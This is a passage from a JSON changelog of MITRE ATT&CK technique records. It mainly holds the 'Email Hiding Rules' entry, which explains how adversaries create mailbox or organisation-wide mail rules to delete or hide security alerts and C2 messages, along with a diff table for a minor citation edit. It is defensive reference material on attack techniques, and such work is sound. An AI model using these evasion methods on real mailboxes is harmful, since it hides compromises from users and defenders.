nowrap=\"nowrap\">Domains](https://attack.mitre.org/techniques/T1593)),&nbsp;establ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ains](https://attack.mitre.org/techniques/T1593)),&nbsp;establish</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ishing&nbsp;operational&nbsp;resources&nbsp;(ex:&nbsp;[Acquire&nbsp;Infrastructure](h</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;operational&nbsp;resources&nbsp;(ex:&nbsp;[Acquire&nbsp;Infrastructure](http</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttps://attack.mitre.org/techniques/T1583)&nbsp;or&nbsp;[Compromise&nbsp;Inf</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s://attack.mitre.org/techniques/T1583)&nbsp;or&nbsp;[Compromise&nbsp;Infras</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rastructure](https://attack.mitre.org/techniques/T1584)),&nbsp;an</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tructure](https://attack.mitre.org/techniques/T1584)),&nbsp;and/o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d/or&nbsp;initial&nbsp;access&nbsp;(ex:&nbsp;[External&nbsp;Remote&nbsp;Services](https://</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;initial&nbsp;access&nbsp;(ex:&nbsp;[External&nbsp;Remote&nbsp;Services](https://att</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1133)).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ack.mitre.org/techniques/T1133)).</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1056: Pre-compromise"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0815: Detection of IP Addresses"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-06-07 13:20:23.767000+00:00",
                    "modified": "2026-11-04 01:03:35.406000+00:00",
                    "name": "Email Hiding Rules",
                    "description": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines.(Citation: Microsoft Cloud App Security)\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1564/008",
                            "external_id": "T1564.008"
                        },
                        {
                            "source_name": "MacOS Email Rules",
                            "description": "Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.",
                            "url": "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac"
                        },
                        {
                            "source_name": "Microsoft Mail Flow Rules 2023",
                            "description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.",
                            "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"
                        },
                        {
                            "source_name": "Microsoft Inbox Rules",
                            "description": "Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.",
                            "url": "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59"
                        },
                        {
                            "source_name": "Microsoft New-InboxRule",
                            "description": "Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.",
                            "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps"
                        },
                        {
                            "source_name": "Microsoft Set-InboxRule",
                            "description": "Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.",
                            "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps"
                        },
                        {
                            "source_name": "Microsoft Cloud App Security",
                            "description": "Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.",
                            "url": "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Dor Edry, Microsoft",
                        "Liran Ravich, CardinalOps"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows",
                        "Linux",
                        "macOS",
                        "Office Suite"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:03:35.406000+00:00\", \"old_value\": \"2026-08-04 20:30:53.394000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\\n\\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\\n\\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines.(Citation: Microsoft Cloud App Security)\\n\\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).\", \"old_value\": \"Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\\n\\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\\n\\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)\\n\\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).\", \"diff\": \"--- \\n+++ \\n@@ -2,6 +2,6 @@\\n \\n Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\\n \\n-Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)\\n+Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines.(Citation: Microsoft Cloud App Security)\\n \\n In some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to148__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to148__0\"><a href=\"#difflib_chg_to148__top\">t</a></td><td class=\"diff_header\" id=\"from148_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;email&nbsp;rules&nbsp;to&nbsp;hide&nbsp;inbound&nbsp;emails&nbsp;in&nbsp;a&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to148__top\">t</a></td><td class=\"diff_header\" id=\"to148_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;email&nbsp;rules&nbsp;to&nbsp;hide&nbsp;inbound&nbsp;emails&nbsp;in&nbsp;a&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">compromised&nbsp;user's&nbsp;mailbox.&nbsp;Many&nbsp;email&nbsp;clients&nbsp;allow&nbsp;users&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">compromised&nbsp;user's&nbsp;mailbox.&nbsp;Many&nbsp;email&nbsp;clients&nbsp;allow&nbsp;users&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;create&nbsp;inbox&nbsp;rules&nbsp;for&nbsp;various&nbsp;email&nbsp;functions,&nbsp;including&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;create&nbsp;inbox&nbsp;rules&nbsp;for&nbsp;various&nbsp;email&nbsp;functions,&nbsp;including&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">moving&nbsp;emails&nbsp;to&nbsp;other&nbsp;folders,&nbsp;marking&nbsp;emails&nbsp;as&nbsp;read,&nbsp;or&nbsp;d</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">moving&nbsp;emails&nbsp;to&nbsp;other&nbsp;folders,&nbsp;marking&nbsp;emails&nbsp;as&nbsp;read,&nbsp;or&nbsp;d</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eleting&nbsp;emails.&nbsp;Rules&nbsp;may&nbsp;be&nbsp;created&nbsp;or&nbsp;modified&nbsp;within&nbsp;emai</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eleting&nbsp;emails.&nbsp;Rules&nbsp;may&nbsp;be&nbsp;created&nbsp;or&nbsp;modified&nbsp;within&nbsp;emai</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;clients&nbsp;or&nbsp;through&nbsp;external&nbsp;features&nbsp;such&nbsp;as&nbsp;the&nbsp;&lt;code&gt;New</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;clients&nbsp;or&nbsp;through&nbsp;external&nbsp;features&nbsp;such&nbsp;as&nbsp;the&nbsp;&lt;code&gt;New</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">-InboxRule&lt;/code&gt;&nbsp;or&nbsp;&lt;code&gt;Set-InboxRule&lt;/code&gt;&nbsp;[PowerShell]</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">-InboxRule&lt;/code&gt;&nbsp;or&nbsp;&lt;code&gt;Set-InboxRule&lt;/code&gt;&nbsp;[PowerShell]</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(https://attack.mitre.org/techniques/T1059/001)&nbsp;cmdlets&nbsp;on&nbsp;W</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(https://attack.mitre.org/techniques/T1059/001)&nbsp;cmdlets&nbsp;on&nbsp;W</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">indows&nbsp;systems.(Citation:&nbsp;Microsoft&nbsp;Inbox&nbsp;Rules)(Citation:&nbsp;M</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">indows&nbsp;systems.(Citation:&nbsp;Microsoft&nbsp;Inbox&nbsp;Rules)(Citation:&nbsp;M</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">acOS&nbsp;Email&nbsp;Rules)(Citation:&nbsp;Microsoft&nbsp;New-InboxRule)(Citatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">acOS&nbsp;Email&nbsp;Rules)(Citation:&nbsp;Microsoft&nbsp;New-InboxRule)(Citatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;Microsoft&nbsp;Set-InboxRule)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;utilize&nbsp;email&nbsp;r</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;Microsoft&nbsp;Set-InboxRule)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;utilize&nbsp;email&nbsp;r</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ules&nbsp;within&nbsp;a&nbsp;compromised&nbsp;user's&nbsp;mailbox&nbsp;to&nbsp;delete&nbsp;and/or&nbsp;mo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ules&nbsp;within&nbsp;a&nbsp;compromised&nbsp;user's&nbsp;mailbox&nbsp;to&nbsp;delete&nbsp;and/or&nbsp;mo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ve&nbsp;emails&nbsp;to&nbsp;less&nbsp;noticeable&nbsp;folders.&nbsp;Adversaries&nbsp;may&nbsp;do&nbsp;thi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ve&nbsp;emails&nbsp;to&nbsp;less&nbsp;noticeable&nbsp;folders.&nbsp;Adversaries&nbsp;may&nbsp;do&nbsp;thi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;to&nbsp;hide&nbsp;security&nbsp;alerts,&nbsp;C2&nbsp;communication,&nbsp;or&nbsp;responses&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;to&nbsp;hide&nbsp;security&nbsp;alerts,&nbsp;C2&nbsp;communication,&nbsp;or&nbsp;responses&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;[Internal&nbsp;Spearphishing](https://attack.mitre.org/technique</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;[Internal&nbsp;Spearphishing](https://attack.mitre.org/technique</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s/T1534)&nbsp;emails&nbsp;sent&nbsp;from&nbsp;the&nbsp;compromised&nbsp;account.&nbsp;&nbsp;Any&nbsp;user</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s/T1534)&nbsp;emails&nbsp;sent&nbsp;from&nbsp;the&nbsp;compromised&nbsp;account.&nbsp;&nbsp;Any&nbsp;user</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;or&nbsp;administrator&nbsp;within&nbsp;the&nbsp;organization&nbsp;(or&nbsp;adversary&nbsp;with</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;or&nbsp;administrator&nbsp;within&nbsp;the&nbsp;organization&nbsp;(or&nbsp;adversary&nbsp;with</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;valid&nbsp;credentials)&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;create&nbsp;rules&nbsp;to&nbsp;automatic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;valid&nbsp;credentials)&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;create&nbsp;rules&nbsp;to&nbsp;automatic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ally&nbsp;move&nbsp;or&nbsp;delete&nbsp;emails.&nbsp;These&nbsp;rules&nbsp;can&nbsp;be&nbsp;abused&nbsp;to&nbsp;imp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ally&nbsp;move&nbsp;or&nbsp;delete&nbsp;emails.&nbsp;These&nbsp;rules&nbsp;can&nbsp;be&nbsp;abused&nbsp;to&nbsp;imp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">air/delay&nbsp;detection&nbsp;had&nbsp;the&nbsp;email&nbsp;content&nbsp;been&nbsp;immediately&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">air/delay&nbsp;detection&nbsp;had&nbsp;the&nbsp;email&nbsp;content&nbsp;been&nbsp;immediately&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">een&nbsp;by&nbsp;a&nbsp;user&nbsp;or&nbsp;defender.&nbsp;Malicious&nbsp;rules&nbsp;commonly&nbsp;filter&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">een&nbsp;by&nbsp;a&nbsp;user&nbsp;or&nbsp;defender.&nbsp;Malicious&nbsp;rules&nbsp;commonly&nbsp;filter&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ut&nbsp;emails&nbsp;based&nbsp;on&nbsp;key&nbsp;words&nbsp;(such&nbsp;as&nbsp;&lt;code&gt;malware&lt;/code&gt;,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ut&nbsp;emails&nbsp;based&nbsp;on&nbsp;key&nbsp;words&nbsp;(such&nbsp;as&nbsp;&lt;code&gt;malware&lt;/code&gt;,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;code&gt;suspicious&lt;/code&gt;,&nbsp;&lt;code&gt;phish&lt;/code&gt;,&nbsp;and&nbsp;&lt;code&gt;hack&lt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;code&gt;suspicious&lt;/code&gt;,&nbsp;&lt;code&gt;phish&lt;/code&gt;,&nbsp;and&nbsp;&lt;code&gt;hack&lt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/code&gt;)&nbsp;found&nbsp;in&nbsp;message&nbsp;bodies&nbsp;and&nbsp;subject&nbsp;line<span class=\"diff_sub\">s.&nbsp;(Citation</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/code&gt;)&nbsp;found&nbsp;in&nbsp;message&nbsp;bodies&nbsp;and&nbsp;subject&nbsp;lines.(Citation:</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">:&nbsp;Microsoft&nbsp;Cloud&nbsp;App&nbsp;Security)&nbsp;&nbsp;In&nbsp;some&nbsp;environments,&nbsp;admin</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Microsoft&nbsp;<span class=\"diff_add\">Cloud&nbsp;App&nbsp;Security)&nbsp;&nbsp;In&nbsp;some&nbsp;environments,&nbsp;admini</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">istrators&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;enable&nbsp;email&nbsp;rules&nbsp;that&nbsp;operate&nbsp;org</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">strators&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;enable&nbsp;email&nbsp;rules&nbsp;that&nbsp;operate&nbsp;orga</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">anization-wide&nbsp;rather&nbsp;than&nbsp;on&nbsp;individual&nbsp;inboxes.&nbsp;For&nbsp;exampl</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">nization-wide&nbsp;rather&nbsp;than&nbsp;on&nbsp;individual&nbsp;inboxes.&nbsp;For&nbsp;example</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">e,&nbsp;Microsoft&nbsp;Exchange&nbsp;supports&nbsp;transport&nbsp;rules&nbsp;that&nbsp;evaluate</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">,&nbsp;</span>M<span class=\"diff_chg\">icrosoft&nbsp;Exchange&nbsp;supports&nbsp;transport&nbsp;rules&nbsp;that&nbsp;evaluate&nbsp;</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">&nbsp;all&nbsp;mail&nbsp;an&nbsp;organization&nbsp;receives&nbsp;against&nbsp;user-specified&nbsp;co</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">all&nbsp;mail&nbsp;an&nbsp;organization&nbsp;receives&nbsp;against&nbsp;user-specified&nbsp;con</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">nditions,&nbsp;then&nbsp;performs&nbsp;a&nbsp;user-specified&nbsp;action&nbsp;on&nbsp;mail&nbsp;that</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">ditions,&nbsp;then&nbsp;performs&nbsp;a&nbsp;user-specified&nbsp;action&nbsp;on&nbsp;mail&nbsp;that&nbsp;</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">&nbsp;adheres&nbsp;to&nbsp;those&nbsp;condition</span>s.(Citation:&nbsp;Microsoft&nbsp;M<span class=\"diff_chg\">ail</span>&nbsp;Flow&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">adheres&nbsp;to&nbsp;those&nbsp;conditions.(Citation:&nbsp;Microsoft&nbsp;Mail</span>&nbsp;Flow&nbsp;R</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Rules&nbsp;2023)&nbsp;Adversaries&nbsp;that&nbsp;abuse&nbsp;such&nbsp;features&nbsp;may&nbsp;be&nbsp;able</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ules&nbsp;2023)&nbsp;Adversaries&nbsp;that&nbsp;abuse&nbsp;such&nbsp;features&nbsp;may&nbsp;be&nbsp;able&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;automatically&nbsp;modify&nbsp;or&nbsp;delete&nbsp;all&nbsp;emails&nbsp;related&nbsp;to&nbsp;spe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;automatically&nbsp;modify&nbsp;or&nbsp;delete&nbsp;all&nbsp;emails&nbsp;related&nbsp;to&nbsp;spec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cific&nbsp;topics&nbsp;(such&nbsp;as&nbsp;internal&nbsp;security&nbsp;incident&nbsp;notificatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ific&nbsp;topics&nbsp;(such&nbsp;as&nbsp;internal&nbsp;security&nbsp;incident&nbsp;notification</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ns).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s).</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0192: Detection Strategy for Email Hiding Rules"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-26 17:46:13.128000+00:00",
                    "modified": "2026-11-04 01:01:51.368000+00:00",
                    "name": "Hidden Files and Directories",
